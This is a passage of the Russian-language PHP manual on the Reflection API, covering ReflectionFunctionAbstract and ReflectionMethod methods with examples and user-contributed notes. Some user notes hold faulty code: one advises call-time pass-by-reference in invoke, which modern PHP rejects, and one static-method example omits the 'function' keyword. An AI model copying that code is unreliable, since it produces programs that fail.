Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если функция является генератором, false в противном случае или null, в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли функция внутренней

  • « ReflectionFunctionAbstract::isGenerator
  • ReflectionFunctionAbstract::isStatic »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Проверяет, является ли функция внутренней

ReflectionFunctionAbstract::isInternal

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::isInternal — Проверяет, является ли функция внутренней

Описание

public ReflectionFunctionAbstract::isInternal(): bool

Проверяет, является ли функция внутренней, то есть не определённой пользователем.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если функция внутренняя, false в противном случае.

Смотрите также

  • ReflectionFunctionAbstract::isUserDefined() - Проверяет, является ли функция определённой пользователем

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли функция статической

  • « ReflectionFunctionAbstract::isInternal
  • ReflectionFunctionAbstract::isUserDefined »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Проверяет, является ли функция статической

ReflectionFunctionAbstract::isStatic

(PHP 5, PHP 7, PHP 8)

ReflectionFunctionAbstract::isStatic — Проверяет, является ли функция статической

Описание

public ReflectionFunctionAbstract::isStatic(): bool

Проверяет, является ли функция статической.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает true, если функция является статической, в противном случае возвращает false.

Список изменений

Версия | Описание
8.1.0 | Метод был расширен. Ранее он был определён только в ReflectionMethod.

Смотрите также

  • ReflectionMethod::isFinal() - Проверяет, является ли метод окончательным

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли функция определённой пользователем

  • « ReflectionFunctionAbstract::isStatic
  • ReflectionFunctionAbstract::isVariadic »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Проверяет, является ли функция определённой пользователем

ReflectionFunctionAbstract::isUserDefined

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::isUserDefined — Проверяет, является ли функция определённой пользователем

Описание

public ReflectionFunctionAbstract::isUserDefined(): bool

Проверяет, является ли функция определённой пользователем, то есть это не внутренняя функция.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если функция определена пользователем, false в противном случае.

Смотрите также

  • ReflectionFunctionAbstract::isInternal() - Проверяет, является ли функция внутренней

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли функция функцией с переменным числом аргументов

  • « ReflectionFunctionAbstract::isUserDefined
  • ReflectionFunctionAbstract::returnsReference »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Проверяет, является ли функция функцией с переменным числом аргументов

ReflectionFunctionAbstract::isVariadic

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::isVariadic — Проверяет, является ли функция функцией с переменным числом аргументов

Описание

public ReflectionFunctionAbstract::isVariadic(): bool

Проверяет, является ли функция функцией с переменным числом аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если функция с переменным числом аргументов, false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, что функция возвращает ссылку

  • « ReflectionFunctionAbstract::isVariadic
  • ReflectionFunctionAbstract::__toString »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Проверяет, что функция возвращает ссылку

ReflectionFunctionAbstract::returnsReference

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::returnsReference — Проверяет, что функция возвращает ссылку

Описание

public ReflectionFunctionAbstract::returnsReference(): bool

Проверяет, что функция возвращает ссылку.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если функция возвращает ссылку, false в противном случае.

Смотрите также

  • ReflectionFunctionAbstract::isClosure() - Проверяет, является ли функция замыканием (Closure)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строковое представление объекта ReflectionFunctionAbstract

  • « ReflectionFunctionAbstract::returnsReference
  • ReflectionMethod »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Возвращает строковое представление объекта ReflectionFunctionAbstract

ReflectionFunctionAbstract::__toString

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::__toString — Возвращает строковое представление объекта ReflectionFunctionAbstract

Описание

abstract public ReflectionFunctionAbstract::__toString(): void

Получает строковое представление функции, её параметров и возвращаемых значений.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строка.

Смотрите также

  • ReflectionFunction::__toString() - Возвращает строковое представление объекта ReflectionFunction
  • ReflectionMethod::__toString() - Возвращает строковое представление объекта ReflectionMethod
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionMethod

(PHP 5, PHP 7, PHP 8)

Введение

Класс ReflectionMethod сообщает информацию о методах.

Обзор классов

class ReflectionMethod extends ReflectionFunctionAbstract {
/* Константы */
public const int IS_STATIC;
public const int IS_PUBLIC;
public const int IS_PROTECTED;
public const int IS_PRIVATE;
public const int IS_ABSTRACT;
public const int IS_FINAL;
/* Свойства */
public string $class;
/* Наследуемые свойства */
public string $name;
/* Методы */
public __construct(object|string $objectOrMethod, string $method)
public __construct(string $classMethod)
public static createFromMethodName(string $method): static
public static export(string $class, string $name, bool $return = false): string
public getClosure(?object $object = null): Closure
public getDeclaringClass(): ReflectionClass
public getModifiers(): int
public getPrototype(): ReflectionMethod
public hasPrototype(): bool
public invoke(?object $object, mixed ...$args): mixed
public invokeArgs(?object $object, array $args): mixed
public isAbstract(): bool
public isConstructor(): bool
public isDestructor(): bool
public isFinal(): bool
public isPrivate(): bool
public isProtected(): bool
public isPublic(): bool
public setAccessible(bool $accessible): void
public __toString(): string
/* Наследуемые методы */
private ReflectionFunctionAbstract::__clone(): void
public ReflectionFunctionAbstract::getAttributes(?string $name = null, int $flags = 0): array
public ReflectionFunctionAbstract::getClosureScopeClass(): ?ReflectionClass
public ReflectionFunctionAbstract::getClosureThis(): ?object
public ReflectionFunctionAbstract::getClosureUsedVariables(): array
public ReflectionFunctionAbstract::getDocComment(): string|false
public ReflectionFunctionAbstract::getEndLine(): int|false
public ReflectionFunctionAbstract::getExtension(): ?ReflectionExtension
public ReflectionFunctionAbstract::getExtensionName(): string|false
public ReflectionFunctionAbstract::getFileName(): string|false
public ReflectionFunctionAbstract::getName(): string
public ReflectionFunctionAbstract::getNamespaceName(): string
public ReflectionFunctionAbstract::getNumberOfParameters(): int
public ReflectionFunctionAbstract::getNumberOfRequiredParameters(): int
public ReflectionFunctionAbstract::getParameters(): array
public ReflectionFunctionAbstract::getReturnType(): ?ReflectionType
public ReflectionFunctionAbstract::getShortName(): string
public ReflectionFunctionAbstract::getStartLine(): int|false
public ReflectionFunctionAbstract::getStaticVariables(): array
public ReflectionFunctionAbstract::getTentativeReturnType(): ?ReflectionType
public ReflectionFunctionAbstract::hasReturnType(): bool
public ReflectionFunctionAbstract::hasTentativeReturnType(): bool
public ReflectionFunctionAbstract::inNamespace(): bool
public ReflectionFunctionAbstract::isClosure(): bool
public ReflectionFunctionAbstract::isDeprecated(): bool
public ReflectionFunctionAbstract::isGenerator(): bool
public ReflectionFunctionAbstract::isInternal(): bool
public ReflectionFunctionAbstract::isStatic(): bool
public ReflectionFunctionAbstract::isUserDefined(): bool
public ReflectionFunctionAbstract::isVariadic(): bool
public ReflectionFunctionAbstract::returnsReference(): bool
abstract public ReflectionFunctionAbstract::__toString(): void
}

Свойства

name

Имя метода

class

Имя класса

Предопределённые константы

Модификаторы ReflectionMethod

ReflectionMethod::IS_STATIC

Указывает на то, что это статический метод. До PHP 7.4.0, значение было 1.

ReflectionMethod::IS_PUBLIC

Указывает на то, что это общедоступный метод. До PHP 7.4.0, значение было 256.

ReflectionMethod::IS_PROTECTED

Указывает на то, что это защищённый метод. До PHP 7.4.0, значение было 512.

ReflectionMethod::IS_PRIVATE

Указывает на то, что это закрытый метод. До PHP 7.4.0, значение было 1024.

ReflectionMethod::IS_ABSTRACT

Указывает на то, что это абстрактный метод. До PHP 7.4.0, значение было 2.

ReflectionMethod::IS_FINAL

Указывает на то, что это окончательный метод. До PHP 7.4.0, значение было 4.

Замечание:

Значения этих констант могут изменяться от версии к версии PHP. Рекомендуется всегда использовать константы и не полагаться напрямую на значения.

Список изменений

Версия | Описание
8.0.0 | Метод ReflectionMethod::export() был удалён.

Содержание

  • ReflectionMethod::__construct — Конструктор класса ReflectionMethod
  • ReflectionMethod::createFromMethodName — Создаёт объект класса ReflectionMethod
  • ReflectionMethod::export — Экспорт отражённого метода
  • ReflectionMethod::getClosure — Возвращает динамически созданное замыкание для метода
  • ReflectionMethod::getDeclaringClass — Получает класс, объявляющий отражённый метод
  • ReflectionMethod::getModifiers — Получает модификаторы метода
  • ReflectionMethod::getPrototype — Получает прототип метода (если такой есть)
  • ReflectionMethod::hasPrototype — Определяет, есть ли у метода прототип
  • ReflectionMethod::invoke — Вызов
  • ReflectionMethod::invokeArgs — Вызов метода с передачей аргументов массивом
  • ReflectionMethod::isAbstract — Проверяет, является ли метод абстрактным
  • ReflectionMethod::isConstructor — Проверяет, является ли метод конструктором
  • ReflectionMethod::isDestructor — Проверяет, является ли метод деструктором
  • ReflectionMethod::isFinal — Проверяет, является ли метод окончательным
  • ReflectionMethod::isPrivate — Проверяет, является ли метод закрытым
  • ReflectionMethod::isProtected — Проверяет, является ли метод защищённым
  • ReflectionMethod::isPublic — Проверяет, является ли метод общедоступным
  • ReflectionMethod::setAccessible — Делает метод доступным
  • ReflectionMethod::__toString — Возвращает строковое представление объекта ReflectionMethod

User Contributed Notes

Anonymous 02-Nov-2020 10:15
We can make a "Automatic dependenci injector" in classes when her constructors depends other classes (with type hint).

<?php

class Dependence1 {
    function foo() {
        echo "foo";
    }
}

class Dependence2 {
    function foo2() {
        echo "foo2";
    }
}

final class myClass
{
    private $dep1;
    private $dep2;

    public function __construct(
        Dependence1 $dependence1,
        Dependence2 $dependence2
    )
    {
        $this->dep1 = $dependence1;
        $this->dep2 = $dependence2;
    }

}

// Automatic dependence injection (CLASSES)

$constructor = new ReflectionMethod(myClass::class, '__construct');
$parameters = $constructor->getParameters();

$dependences = [];
foreach ($parameters as $parameter) {
    $dependenceClass = (string) $parameter->getType();
    $dependences[] = new $dependenceClass();
}

$instance = new myClass(...$dependences);
var_dump($instance);

?>

Results in:

object(myClass)#6 (2) {
  ["dep1":"myClass":private]=>
  object(Dependence1)#4 (0) {
  }
  ["dep2":"myClass":private]=>
  object(Dependence2)#5 (0) {
  }
}
webseiten dot designer at googlemail dot com 02-Apr-2011 11:53
Note that the public member $class contains the name of the class in which the method has been defined:

<?php
class A {public function __construct() {}}
class B extends A {}

$method = new ReflectionMethod('B', '__construct');
echo $method->class; // prints 'A'
?>
no dot prob at gmx dot net 02-Jun-2006 01:09
I have written a function which returns the value of a given DocComment tag.

Full example:

<?php

header('Content-Type: text/plain');

class Example
{
    /**
     * This is my DocComment!
     *
     * @DocTag: prints Hello World!
     */
    public function myMethod()
    {
        echo 'Hello World!';
    }
}

function getDocComment($str, $tag = '')
{
    if (empty($tag))
    {
        return $str;
    }

    $matches = array();
    preg_match("/".$tag.":(.*)(\\r\\n|\\r|\\n)/U", $str, $matches);

    if (isset($matches[1]))
    {
        return trim($matches[1]);
    }

    return '';
}

$method = new ReflectionMethod('Example', 'myMethod');

// will return Hello World!
echo getDocComment($method->getDocComment(), '@DocTag');

?>

Maybe you can add this functionality to the getDocComment methods of the reflection classes.


Конструктор класса ReflectionMethod

  • « ReflectionMethod
  • ReflectionMethod::createFromMethodName »
  • PHP Manual
  • ReflectionMethod
  • Конструктор класса ReflectionMethod

ReflectionMethod::__construct

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::__construct — Конструктор класса ReflectionMethod

Описание

public ReflectionMethod::__construct(object|string $objectOrMethod, string $method)

Alternative signature (not supported with named arguments):

public ReflectionMethod::__construct(string $classMethod)

Создаёт новый объект класса ReflectionMethod.

Список параметров

objectOrMethod

Имя класса или объект (экземпляр класса), содержащего метод.

method

Имя метода.

classMethod

Имена класса и метода, разделённые ::.

Ошибки

Исключение ReflectionException выбрасывается, если заданный метод не существует.

Примеры

Пример #1 Пример использования ReflectionMethod::__construct()

<?php
class Counter
{
private static $c = 0;

/**
* Счётчик
*
* @final
* @static
* @access public
* @return int
*/
final public static function increment()
{
return ++self::$c;
}
}

// Создание экземпляра класса ReflectionMethod
$method = new ReflectionMethod('Counter', 'increment');

// Вывод основной информации
printf(
"===> %s%s%s%s%s%s%s метод '%s' (%s)\n" .
" объявлен в %s\n" .
" строки с %d по %d\n" .
" имеет модификаторы %d[%s]\n",
$method->isInternal() ? 'внутренний' : 'определённый пользователем',
$method->isAbstract() ? ' абстрактный' : '',
$method->isFinal() ? ' окончательный' : '',
$method->isPublic() ? ' общедоступный' : '',
$method->isPrivate() ? ' закрытый' : '',
$method->isProtected() ? ' защищённый' : '',
$method->isStatic() ? ' статический' : '',
$method->getName(),
$method->isConstructor() ? 'конструктор' : 'обычный метод',
$method->getFileName(),
$method->getStartLine(),
$method->getEndline(),
$method->getModifiers(),
implode(' ', Reflection::getModifierNames($method->getModifiers()))
);

// Вывод doc-комментария
printf("---> Комментарий:\n %s\n", var_export($method->getDocComment(), true));

// Вывод статических переменных, если есть
if ($statics= $method->getStaticVariables()) {
printf("---> Статические переменные: %s\n", var_export($statics, true));
}

// Вызов метода
printf("---> Результат вызова метода: ");
var_dump($method->invoke(NULL));
?>

Вывод приведённого примера будет похож на:

===> определённый пользователем окончательный общедоступный статический метод 'increment' (обычный метод)
     объявлен в /Users/philip/cvs/phpdoc/test.php
     строки с 14 по 17
     имеет модификаторы 261[final public static]
---> Комментарий:
 '/**
     * Счётчик
     *
     * @final
     * @static
     * @access  public
     * @return  int
     */'
---> Результат вызова метода: int(1)

Смотрите также

  • ReflectionMethod::export() - Экспорт отражённого метода
  • Конструкторы

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект класса ReflectionMethod

  • « ReflectionMethod::__construct
  • ReflectionMethod::export »
  • PHP Manual
  • ReflectionMethod
  • Создаёт объект класса ReflectionMethod

ReflectionMethod::createFromMethodName

(PHP 8 >= 8.3.0)

ReflectionMethod::createFromMethodName — Создаёт объект класса ReflectionMethod

Описание

public static ReflectionMethod::createFromMethodName(string $method): static

Создаёт объект класса ReflectionMethod.

Список параметров

method

Имена класса и метода, разделённые оператором ::.

Возвращаемые значения

Возвращает новый объект класса ReflectionMethod при успешном выполнении.

Ошибки

Будет выброшено исключение ReflectionException, если заданный метод не существует.

Примеры

Пример #1 Пример использования метода ReflectionMethod::createFromMethodName()

<?php

class Foo {
public function bar() {

}
}

$methodInfo = ReflectionMethod::createFromMethodName("Foo::bar");
var_dump($methodInfo);
?>

Результат выполнения приведённого примера:

object(ReflectionMethod)#1 (2) {
  ["name"]=>
  string(3) "bar"
  ["class"]=>
  string(3) "Foo"
}

User Contributed Notes

There are no user contributed notes for this page.


Экспорт отражённого метода

  • « ReflectionMethod::createFromMethodName
  • ReflectionMethod::getClosure »
  • PHP Manual
  • ReflectionMethod
  • Экспорт отражённого метода

ReflectionMethod::export

(PHP 5, PHP 7)

ReflectionMethod::export — Экспорт отражённого метода

Внимание

Эта функция УСТАРЕЛА начиная с PHP 7.4.0 и была УДАЛЕНА в PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

public static ReflectionMethod::export(string $class, string $name, bool $return = false): string

Экспортирует ReflectionMethod.

Список параметров

class

Имя класса.

name

Имя метода.

return

Метод вернёт значение экспорта, а не выведет его, если установить для параметра значение true. При значении по умолчанию — false метод сделает наоборот.

Возвращаемые значения

Если параметр return установлен в true, тогда экспортируемый объект будет возвращён как string, иначе будет возвращён null.

Смотрите также

  • ReflectionMethod::__construct() - Конструктор класса ReflectionMethod
  • ReflectionMethod::__toString() - Возвращает строковое представление объекта ReflectionMethod

User Contributed Notes

There are no user contributed notes for this page.


Возвращает динамически созданное замыкание для метода

  • « ReflectionMethod::export
  • ReflectionMethod::getDeclaringClass »
  • PHP Manual
  • ReflectionMethod
  • Возвращает динамически созданное замыкание для метода

ReflectionMethod::getClosure

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionMethod::getClosure — Возвращает динамически созданное замыкание для метода

Описание

public ReflectionMethod::getClosure(?object $object = null): Closure

Создаёт замыкание, которое будет вызывать метод.

Список параметров

object

Запрещён для статических методов, обязателен для остальных.

Возвращаемые значения

Возвращает только что созданное замыкание (Closure).

Ошибки

Выбрасывает ValueError, если object является null, но метод является нестатическим.

Выбрасывает исключение ReflectionException, если object не является экземпляром класса, в котором был объявлен этот метод.

Список изменений

Версия | Описание
8.0.0 | object теперь допускает значение null.

Смотрите также

  • Callback-функции как объекты первого класса

User Contributed Notes

okto 14-Aug-2016 10:45
Use method from another class context.

<?php

class A {
    private $var = 'class A';

    public function getVar() {
        return $this->var;
    }

    public function getCl() {
        return function () {
            $this->getVar();
        };
    }
}

class B {
    private $var = 'class B';
}

$a = new A();
$b = new B();

print $a->getVar() . PHP_EOL;

$reflection = new ReflectionClass(get_class($a));
$closure    = $reflection->getMethod('getVar')->getClosure($a);
$get_var_b  = $closure->bindTo($b, $b);

print $get_var_b() . PHP_EOL;

// Output:
// class A
// class B
Denis Doronin 18-Jan-2013 08:05
You can call private methods with getClosure():

<?php

function call_private_method($object, $method, $args = array()) {
    $reflection = new ReflectionClass(get_class($object));
    $closure = $reflection->getMethod($method)->getClosure($object);
    return call_user_func_array($closure, $args);
}

class Example {

    private $x = 1, $y = 10;

    private function sum() {
        print $this->x + $this->y;
    }

}

call_private_method(new Example(), 'sum');

?>

Output is 11.


Получает класс, объявляющий отражённый метод

  • « ReflectionMethod::getClosure
  • ReflectionMethod::getModifiers »
  • PHP Manual
  • ReflectionMethod
  • Получает класс, объявляющий отражённый метод

ReflectionMethod::getDeclaringClass

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::getDeclaringClass — Получает класс, объявляющий отражённый метод

Описание

public ReflectionMethod::getDeclaringClass(): ReflectionClass

Получает класс, объявляющий отражённый метод.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект класса ReflectionClass, частью которого является отражённый метод.

Примеры

Пример #1 Пример использования ReflectionMethod::getDeclaringClass()

<?php
class HelloWorld {

protected function sayHelloTo($name) {
return 'Привет, ' . $name;
}

}

$reflectionMethod = new ReflectionMethod(new HelloWorld(), 'sayHelloTo');
var_dump($reflectionMethod->getDeclaringClass());
?>

Результат выполнения приведённого примера:

object(ReflectionClass)#2 (1) {
  ["name"]=>
  string(10) "HelloWorld"
}

Смотрите также

  • ReflectionMethod::isAbstract() - Проверяет, является ли метод абстрактным

User Contributed Notes

There are no user contributed notes for this page.


Получает модификаторы метода

  • « ReflectionMethod::getDeclaringClass
  • ReflectionMethod::getPrototype »
  • PHP Manual
  • ReflectionMethod
  • Получает модификаторы метода

ReflectionMethod::getModifiers

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::getModifiers — Получает модификаторы метода

Описание

public ReflectionMethod::getModifiers(): int

Возвращает битовое поле модификаторов доступа для метода.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Числовое представление модификаторов. Описания и значения этих модификаторов приведены в списке предопределённых констант.

Примеры

Пример #1 Пример использования ReflectionMethod::getModifiers()

<?php
class Testing
{
final public static function foo()
{
return;
}
public function bar()
{
return;
}
}

$foo = new ReflectionMethod('Testing', 'foo');

echo "Модификаторы метода foo():\n";
echo $foo->getModifiers() . "\n";
echo implode(' ', Reflection::getModifierNames($foo->getModifiers())) . "\n";

$bar = new ReflectionMethod('Testing', 'bar');

echo "Модификаторы метода bar():\n";
echo $bar->getModifiers() . "\n";
echo implode(' ', Reflection::getModifierNames($bar->getModifiers()));
?>

Вывод приведённого примера будет похож на:

Модификаторы метода foo():
49
final public static
Модификаторы метода bar():
1
public

Смотрите также

  • Reflection::getModifierNames() - Получение имён модификаторов

User Contributed Notes

There are no user contributed notes for this page.


Получает прототип метода (если такой есть)

  • « ReflectionMethod::getModifiers
  • ReflectionMethod::hasPrototype »
  • PHP Manual
  • ReflectionMethod
  • Получает прототип метода (если такой есть)

ReflectionMethod::getPrototype

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionMethod::getPrototype — Получает прототип метода (если такой есть)

Описание

public ReflectionMethod::getPrototype(): ReflectionMethod

Получает прототип метода.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект ReflectionMethod прототипа метода.

Ошибки

Исключение ReflectionException выбрасывается, если у метода нет прототипа.

Примеры

Пример #1 Пример использования ReflectionMethod::getPrototype()

<?php
class Hello {

public function sayHelloTo($name) {
return 'Привет, ' . $name;
}

}
class HelloWorld extends Hello {

public function sayHelloTo($name) {
return 'Привет, мир: ' . $name;
}

}

$reflectionMethod = new ReflectionMethod('HelloWorld', 'sayHelloTo');
var_dump($reflectionMethod->getPrototype());
?>

Результат выполнения приведённого примера:

object(ReflectionMethod)#2 (2) {
  ["name"]=>
  string(10) "sayHelloTo"
  ["class"]=>
  string(5) "Hello"
}

Смотрите также

  • ReflectionMethod::getModifiers() - Получает модификаторы метода
  • ReflectionMethod::hasPrototype() - Определяет, есть ли у метода прототип

User Contributed Notes

There are no user contributed notes for this page.


Определяет, есть ли у метода прототип

  • « ReflectionMethod::getPrototype
  • ReflectionMethod::invoke »
  • PHP Manual
  • ReflectionMethod
  • Определяет, есть ли у метода прототип

ReflectionMethod::hasPrototype

(PHP 8 >= 8.2.0)

ReflectionMethod::hasPrototype — Определяет, есть ли у метода прототип

Описание

public ReflectionMethod::hasPrototype(): bool

Определяет, есть ли у метода прототип.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true если у метода есть прототип, иначе возвращает false.

Примеры

Пример #1 Пример использования ReflectionMethod::hasPrototype()

<?php

class Hello
{
public function sayHelloTo($name)
{
return 'Hello '.$name;
}
}

class HelloWorld extends Hello
{
public function sayHelloTo($name)
{
return 'Hello world: '.$name;
}
}
$reflectionMethod = new ReflectionMethod('HelloWorld', 'sayHelloTo');
var_dump($reflectionMethod->hasPrototype());
?>

Результат выполнения приведённого примера:

bool(true)

Смотрите также

  • ReflectionMethod::getPrototype() - Получает прототип метода (если такой есть)

User Contributed Notes

There are no user contributed notes for this page.


Вызов

  • « ReflectionMethod::hasPrototype
  • ReflectionMethod::invokeArgs »
  • PHP Manual
  • ReflectionMethod
  • Вызов

ReflectionMethod::invoke

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::invoke — Вызов

Описание

public ReflectionMethod::invoke(?object $object, mixed ...$args): mixed

Вызывает отражённый метод.

Список параметров

object

Объект, метод которого требуется вызвать. Для статических методов передаётся null.

args

Ноль или более аргументов, передаваемых методу. Допускается передавать переменное число аргументов.

Возвращаемые значения

Возвращает результат выполнения метода.

Ошибки

Выбрасывает исключение ReflectionException, если в объекте object нет определения метода.

Выбрасывает исключение ReflectionException, если вызвать метод на исполнение не удалось.

Примеры

Пример #1 Пример использования ReflectionMethod::invoke()

<?php
class HelloWorld {

public function sayHelloTo($name) {
return 'Привет, ' . $name;
}

}

$reflectionMethod = new ReflectionMethod('HelloWorld', 'sayHelloTo');
echo $reflectionMethod->invoke(new HelloWorld(), 'Майк');
?>

Результат выполнения приведённого примера:

Привет, Майк

Примечания

Замечание:

ReflectionMethod::invoke() не может использоваться, если ожидаются ссылочные параметры. Вместо него следует использовать ReflectionMethod::invokeArgs() (передача ссылок в списке аргументов).

Смотрите также

  • ReflectionMethod::invokeArgs() - Вызов метода с передачей аргументов массивом
  • __invoke()
  • call_user_func() - Вызывает callback-функцию, заданную в первом параметре

User Contributed Notes

dimitriy at remerov dot ru 06-Jun-2012 01:19
This method can be used to call a overwritten public method of a parent class on an child instance
The following code will output "A":

<?php

class A
{
    public function foo()
    {
        return __CLASS__;
    }
}

class B extends A
{
    public function foo()
    {
        return __CLASS__;
    }
}

$b = new B();

$reflection = new ReflectionObject($b);

$parentReflection = $reflection->getParentClass();

$parentFooReflection = $parentReflection->getMethod('foo');

$data = $parentFooReflection->invoke($b);

echo $data;

?>
templargrey at wp dot pl 21-Jul-2011 01:12
Seems that Reflection doesn`t resolve late static bindings - var_dump will show "string 'a' (length=1)".

<?php
class ParentClass { protected static $a = 'a'; static public function init() { return static::$a; } }
class ChildClass extends ParentClass { protected static $a = 'b'; }

$r = new ReflectionClass('ChildClass');
var_dump($r->getMethod('init')->invoke(null));
?>
rojaro at gmail dot com 10-Feb-2011 01:56
Note: If you want to invoke protected or private methods, you'll first have to make them accessible using the setAccessible() method (see http://php.net/reflectionmethod.setaccessible ).


Вызов метода с передачей аргументов массивом

  • « ReflectionMethod::invoke
  • ReflectionMethod::isAbstract »
  • PHP Manual
  • ReflectionMethod
  • Вызов метода с передачей аргументов массивом

ReflectionMethod::invokeArgs

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionMethod::invokeArgs — Вызов метода с передачей аргументов массивом

Описание

public ReflectionMethod::invokeArgs(?object $object, array $args): mixed

Вызывает отражённый метод и передаёт ему аргументы в виде массива.

Список параметров

object

Объект, метод которого вызывается. Если метод статический, можно передать null.

args

Массив (array), содержащий аргументы функции.

Возвращаемые значения

Возвращает результат выполнения метода.

Ошибки

Выбрасывает исключение ReflectionException, если в объекте object нет определения этого метода.

Выбрасывает исключение ReflectionException, если вызвать метод на исполнение не удалось.

Список изменений

Версия | Описание
8.0.0 | Ключи args теперь интерпретируются как имена параметров, а не игнорируются.

Примеры

Пример #1 Пример использования ReflectionMethod::invokeArgs()

<?php
class HelloWorld {

public function sayHelloTo($name) {
return 'Привет, ' . $name;
}

}

$reflectionMethod = new ReflectionMethod('HelloWorld', 'sayHelloTo');
echo $reflectionMethod->invokeArgs(new HelloWorld(), array('Майк'));
?>

Результат выполнения приведённого примера:

Привет, Майк

Примечания

Замечание:

Аргументы в списке, который передают в метод, должны быть ссылками, если у функции есть параметры, которые принимают аргументы по ссыкле.

Смотрите также

  • ReflectionMethod::invoke() - Вызов
  • __invoke()
  • call_user_func_array() - Вызывает callback-функцию с массивом параметров

User Contributed Notes

CodeCoutureXX at gmail dot com 03-Sep-2015 09:12
If you need to call ReflectionMethod::invokeArgs() on a static function you can pass NULL in for the $object parameter.

Example:

<?php
     class myClass {
          public static myStaticFunc($a, $b) {
               return $a + $b;
          }
     }

     $ref = new ReflectionMethod('myClass', 'myStaticFunc');
     echo $ref->invokeArgs(NULL, [12, 7]);
?>

produces the following output:

19
cweiske at cweiske dot de 25-Mar-2011 07:34
Passing arguments by reference works:
<?php $rm->invokeArgs($object, array(&$foo, $bar)); ?>
agent_harris at secure-mail dot biz 13-Feb-2011 07:12
There is a simple workaround for the reference passing problem:
Since the reflection api has to handle all parameters in a generic way it has no chance to guess if you wish to pass data per value or reference.

But it seems that you can also decide to pass a reference from where you call the function or method (not just only by the ampersand prefix in its declaration).

So just do the following; which worked for me:

<?php
//...
$method->invoke($object, $inputValue, &$outputValue);
?>

Since this will only be necessary with arrays and primitive data types it should be acceptable in most cases to know in advance if you need to pass per reference. But it is probably although necessary to keep the ampersand always in the declaration (because of the at least two layers between the actual function and your invoke call).

If this is the expected behavior it will maybe make sense to mention it in the documentation for invoke and invokeArgs.
serg dot smertin at gmail dot com 21-Sep-2010 06:51
We can do black magic, which is useful in templating block calls:

<?php
     $object->__named('methodNameHere', array('arg3' => 'three', 'arg1' => 'one'));

     ...

      /**
       * Pass method arguments by name
       *
       * @param string $method
       * @param array $args
       * @return mixed
       */
      public function __named($method, array $args = array())
      {
        $reflection = new ReflectionMethod($this, $method);

        $pass = array();
        foreach($reflection->getParameters() as $param)
        {
          /* @var $param ReflectionParameter */
          if(isset($args[$param->getName()]))
          {
            $pass[] = $args[$param->getName()];
          }
          else
          {
            $pass[] = $param->getDefaultValue();
          }
        }

        return $reflection->invokeArgs($this, $pass);
      }
?>


Проверяет, является ли метод абстрактным

  • « ReflectionMethod::invokeArgs
  • ReflectionMethod::isConstructor »
  • PHP Manual
  • ReflectionMethod
  • Проверяет, является ли метод абстрактным

ReflectionMethod::isAbstract

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::isAbstract — Проверяет, является ли метод абстрактным

Описание

public ReflectionMethod::isAbstract(): bool

Проверяет, является ли метод абстрактным.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если метод абстрактный, false в противном случае.

Смотрите также

  • ReflectionMethod::getDeclaringClass() - Получает класс, объявляющий отражённый метод

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли метод конструктором

  • « ReflectionMethod::isAbstract
  • ReflectionMethod::isDestructor »
  • PHP Manual
  • ReflectionMethod
  • Проверяет, является ли метод конструктором

ReflectionMethod::isConstructor

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::isConstructor — Проверяет, является ли метод конструктором

Описание

public ReflectionMethod::isConstructor(): bool

Проверяет, является ли метод конструктором.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если метод является конструктором, false в противном случае.

Смотрите также

  • ReflectionMethod::__construct() - Конструктор класса ReflectionMethod
  • ReflectionMethod::isAbstract() - Проверяет, является ли метод абстрактным
  • ReflectionMethod::isDestructor() - Проверяет, является ли метод деструктором

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли метод деструктором

  • « ReflectionMethod::isConstructor
  • ReflectionMethod::isFinal »
  • PHP Manual
  • ReflectionMethod
  • Проверяет, является ли метод деструктором

ReflectionMethod::isDestructor

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::isDestructor — Проверяет, является ли метод деструктором

Описание

public ReflectionMethod::isDestructor(): bool

Проверяет, является ли метод деструктором.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если метод является деструктором, false в противном случае.

Смотрите также

